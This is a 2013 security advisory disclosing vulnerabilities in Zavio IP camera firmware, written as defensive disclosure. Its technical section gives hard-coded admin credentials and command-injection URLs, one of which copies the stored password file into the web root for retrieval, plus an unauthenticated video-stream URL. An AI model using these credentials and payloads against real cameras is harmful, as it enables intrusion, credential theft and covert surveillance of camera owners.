Zavio IP Cameras Firmware 1.6.03 - Multiple Vulnerabilities

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Zavio IP Cameras multiple vulnerabilities



1. *Advisory Information*



Title: Zavio IP Cameras multiple vulnerabilities

Advisory ID: CORE-2013-0302

Advisory URL:

http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities

Date published: 2013-05-28

Date of last update: 2013-05-28

Vendors contacted: Zavio

Release mode: User release



2. *Vulnerability Information*



Class: Use of hard-coded credentials [CWE-798], OS command injection

[CWE-78], Incorrect default permissions [CWE-276], OS command injection

[CWE-78]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570



3. *Vulnerability Description*



Multiple vulnerabilities have been found in Zavio IP cameras based on

firmware v1.6.03 and below, that could allow an unauthenticated remote

attacker:



   1. [CVE-2013-2567] to bypass user web interface authentication using

hard-coded credentials.

   2. [CVE-2013-2568] to execute arbitrary commands from the

administration web interface. This flaw can also be used to obtain all

credentials of registered users.

   3. [CVE-2013-2569] to access the camera video stream.

   4. [CVE-2013-2570] to execute arbitrary commands from the

administration web interface (post authentication only).



4. *Vulnerable Packages*



   . Zavio IP cameras based on firmware v1.6.03 and below.

   . All tests and PoCs were run on Zavio F3105 [1] and F312A [2] IP

cameras only. Other Zavio cameras and firmware versions are probably

affected too, but they were not checked.



5. *Non-Vulnerable Packages*



   . Vendor did not provide details. Contact Zavio for further information.



6. *Vendor Information, Solutions and Workarounds*



There was no official answer from Zavio after several attempts to report

these vulnerabilities (see [Sec. 9]). Contact vendor for further

information.

Some mitigation actions may be:



   . Do not expose the camera to Internet unless absolutely necessary.

   . Enable RTSP authentication.

   . Have at least one proxy filtering HTTP requests to

'manufacture.cgi' and 'wireless_mft.cgi'.

   . Check the parameter 'General.Time.NTP.Server' in requests to

'/opt/cgi/view/param'.



7. *Credits*



These vulnerabilities were discovered and researched by Nahuel Riva and

Francisco Falcon from Core Exploit Writers Team. The publication of this

advisory was coordinated by Fernando Miranda from Core Advisories Team.



8. *Technical Description / Proof of Concept Code*



8.1. *Hard-Coded Credentials in Administrative Web Interface*



[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular

tiny server for embedded Linux devices. 'boa.conf' is the Boa

configuration file, and the following account can be found inside:



/-----

# MFT: Specify manufacture commands user name and password

MFT manufacture erutcafunam

-----/



 This account is not visible from the user web interface; users are not

aware of the existence and cannot eliminate it. Through this account it

is possible to access two CGI files located in '/cgi-bin/mft/':



   1. 'manufacture.cgi'

   2. 'wireless_mft.cgi'



The last file contains the OS command injection showed in the following

section.



8.2. *OS Command Injection*



[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS

command injection in the parameter 'ap' that can be exploited using the

hard-coded credentials showed in the previous section:



/-----

username: manufacture

password: erutcafunam

-----/



 The following proof of concept copies the file where the user

credentials are stored in the web server root directory:



/-----

http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales

-----/



 Afterwards, the user credentials can be obtained by requesting:



/-----

http://192.168.1.100/credenciales

-----/



8.3. *RTSP Authentication Disabled by Default*



[CVE-2013-2569] The RTSP protocol authentication is disabled by default.

Therefore, the live video stream can be accessed by a remote

unauthenticated attacker by requesting:



/-----

rtsp://192.168.1.100/video.h264

-----/



8.4. *OS Command Injection (Post-auth)*



[CVE-2013-2570] The command injection is located in the function

'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter

is 'General.Time.NTP.Server'. The following proof of concept can be used

to obtain the complete list of access points by executing '/sbin/awpriv

ra0 get_site_survey':



/-----

http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off

-----/



9. *Report Timeline*

. 2013-03-19:

Core Security Technologies notifies the Zavio Tech Support and requests

a security manager to send a draft report regarding these

vulnerabilities. No reply received.



. 2013-05-02:

Core asks Zavio Tech Support for a security manager to send a

confidential report.



. 2013-05-09:

Core asks for a reply.



. 2013-05-14:

Core asks for a reply.



. 2013-05-21:

Core tries to contact vendor for last time without any reply.



. 2013-05-28:

After 5 failed attempts to report the issues, the advisory

CORE-2013-0302 is published as 'user-release'.



10. *References*



[1] http://www.zavio.com/product.php?id=25.

[2] http://zavio.com/product.php?id=23.

[3] http://www.boa.org/.



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13. *Disclaimer*



The contents of this advisory are copyright (c) 2013 Core Security

Technologies and (c) 2013 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/



14. *PGP/GPG Keys*



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Technologies advisories team, which is available for download at

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